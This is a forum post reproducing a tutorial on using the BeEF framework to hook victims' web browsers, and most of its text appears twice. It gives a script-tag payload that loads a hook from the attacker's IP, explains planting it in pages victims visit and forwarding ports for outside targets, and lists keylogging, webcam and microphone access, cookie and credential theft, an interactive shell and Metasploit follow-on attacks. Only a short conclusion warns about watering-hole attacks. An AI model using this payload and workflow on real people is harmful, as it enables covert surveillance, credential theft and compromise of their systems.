- Joined
- May 15, 2017
- Messages
- 982
- Likes
- 760
- Points
- 1,045
Forwarding Ports
In this tutorial we will be using BeEF inside of our home network using localhost if you intend for users outside the network to connect back to BeEF you will need to open ports within your routers configuration.
www.portforwarding.com
Hooking a Browser
The BeEF hook is a JavaScript file it is used to hook and exploit targets web browsers and acts as a C&C between the target and the attacker. BeEF is an extremely powerful tool and can gather a lot of information about the target. Once BeEF has hooked a target web browser it also allows for additional commands and modules to be executed against the target.
The example below shows a BeEF Hook running on my machines local IP address.
To find you local IP address you can use “ifconfig” from a new terminal.
ifconfig
BeEF hook http://192.168.43.49:3000/hook.js.
To successfully attack a browser we will need to add BeEF hook to a Web page that the victim will visit there are many methods of delivering a JavaScript Payload. The easiest way is to include the JavaScript hook in the Head of a web page. After the target visits the compromised web page thier browser will be hooked. You will see the hooked browsers IP address and Operating System Platform hovering over target hooked browser will provide information about the target system we can then click on the hooked browser and gain further information and preform further attacks on the system.
Example of BeEF JavaScript Payload
<script src= “http://192.168.43.49:3000/hook.js; type= “text/javascript” ></script>
BeEF Framework also includes some default Web Page templates that you can use.
http://localhost:3000/demos/butcher/index.html
Once the target is presented with the Web Page there browser will be hooked and appear in the Hook Browsers section of the BeEF Web GUI.
In the screen shot below we can see BeEF has hooked a target browser and its online from here we can find out information such as The Browsers version plug ins that the browser is using and various information about the target system and its software.
The screen shot below shows Logs from the target system such as mouse movement double clicks and other activity logs created by the target system.
Screen shot below shows available modules that can be used to exploit the target system such as Keyloggers and viewing Webcam’s or Microphone’s of the target browser play sounds steal cookies and credentials and much more.
You might notice that some of the commands have different colored icons next to them. If you click back to the Getting Started tab, it will explain what each of the colors represents.
Each command module has a traffic light icon, which is used to indicate the following:
BeEF also also us to send interactive shell commands to the target system the following screen shot below shows BeEF interactive shell.
BeEF can also be integrated with Metasploit for further system exploitation using modules such as browser_auto_pwn.
Conclusion
JavaScript can be very powerful its always wise to take precautions when visiting various websites. Even if the website is known to be trusted it can still be a threat to Watering Hole attacks.
In this tutorial we will be using BeEF inside of our home network using localhost if you intend for users outside the network to connect back to BeEF you will need to open ports within your routers configuration.
www.portforwarding.com
Hooking a Browser
The BeEF hook is a JavaScript file it is used to hook and exploit targets web browsers and acts as a C&C between the target and the attacker. BeEF is an extremely powerful tool and can gather a lot of information about the target. Once BeEF has hooked a target web browser it also allows for additional commands and modules to be executed against the target.
The example below shows a BeEF Hook running on my machines local IP address.
To find you local IP address you can use “ifconfig” from a new terminal.
ifconfig
BeEF hook http://192.168.43.49:3000/hook.js.
To successfully attack a browser we will need to add BeEF hook to a Web page that the victim will visit there are many methods of delivering a JavaScript Payload. The easiest way is to include the JavaScript hook in the Head of a web page. After the target visits the compromised web page thier browser will be hooked. You will see the hooked browsers IP address and Operating System Platform hovering over target hooked browser will provide information about the target system we can then click on the hooked browser and gain further information and preform further attacks on the system.
Example of BeEF JavaScript Payload
<script src= “http://192.168.43.49:3000/hook.js; type= “text/javascript” ></script>
BeEF Framework also includes some default Web Page templates that you can use.
http://localhost:3000/demos/butcher/index.html
![Screenshot-from-2017-05-30-00-00-14.png](https://i2.wp.com/hackingvision.com/wp-content/uploads/2017/05/Screenshot-from-2017-05-30-00-00-14.png?resize=640%2C480&ssl=1)
Once the target is presented with the Web Page there browser will be hooked and appear in the Hook Browsers section of the BeEF Web GUI.
In the screen shot below we can see BeEF has hooked a target browser and its online from here we can find out information such as The Browsers version plug ins that the browser is using and various information about the target system and its software.
![Screenshot-from-2017-05-30-00-02-55.png](https://i2.wp.com/hackingvision.com/wp-content/uploads/2017/05/Screenshot-from-2017-05-30-00-02-55.png?resize=640%2C480&ssl=1)
The screen shot below shows Logs from the target system such as mouse movement double clicks and other activity logs created by the target system.
![Screenshot-from-2017-05-30-00-04-34.png](https://i0.wp.com/hackingvision.com/wp-content/uploads/2017/05/Screenshot-from-2017-05-30-00-04-34.png?resize=640%2C480&ssl=1)
Screen shot below shows available modules that can be used to exploit the target system such as Keyloggers and viewing Webcam’s or Microphone’s of the target browser play sounds steal cookies and credentials and much more.
You might notice that some of the commands have different colored icons next to them. If you click back to the Getting Started tab, it will explain what each of the colors represents.
Each command module has a traffic light icon, which is used to indicate the following:
-
The command module works against the target and should be invisible to the user -
The command module works against the target, but may be visible to the user -
The command module is yet to be verified against this target -
The command module does not work against this target
![Screenshot-from-2017-05-30-00-04-52.png](https://i1.wp.com/hackingvision.com/wp-content/uploads/2017/05/Screenshot-from-2017-05-30-00-04-52.png?resize=640%2C480&ssl=1)
BeEF also also us to send interactive shell commands to the target system the following screen shot below shows BeEF interactive shell.
![Screenshot-from-2017-05-30-00-05-14.png](https://i1.wp.com/hackingvision.com/wp-content/uploads/2017/05/Screenshot-from-2017-05-30-00-05-14.png?resize=640%2C480&ssl=1)
BeEF can also be integrated with Metasploit for further system exploitation using modules such as browser_auto_pwn.
![Screenshot-from-2017-05-30-01-36-17.png](https://i2.wp.com/hackingvision.com/wp-content/uploads/2017/05/Screenshot-from-2017-05-30-01-36-17.png?resize=640%2C480&ssl=1)
Conclusion
JavaScript can be very powerful its always wise to take precautions when visiting various websites. Even if the website is known to be trusted it can still be a threat to Watering Hole attacks.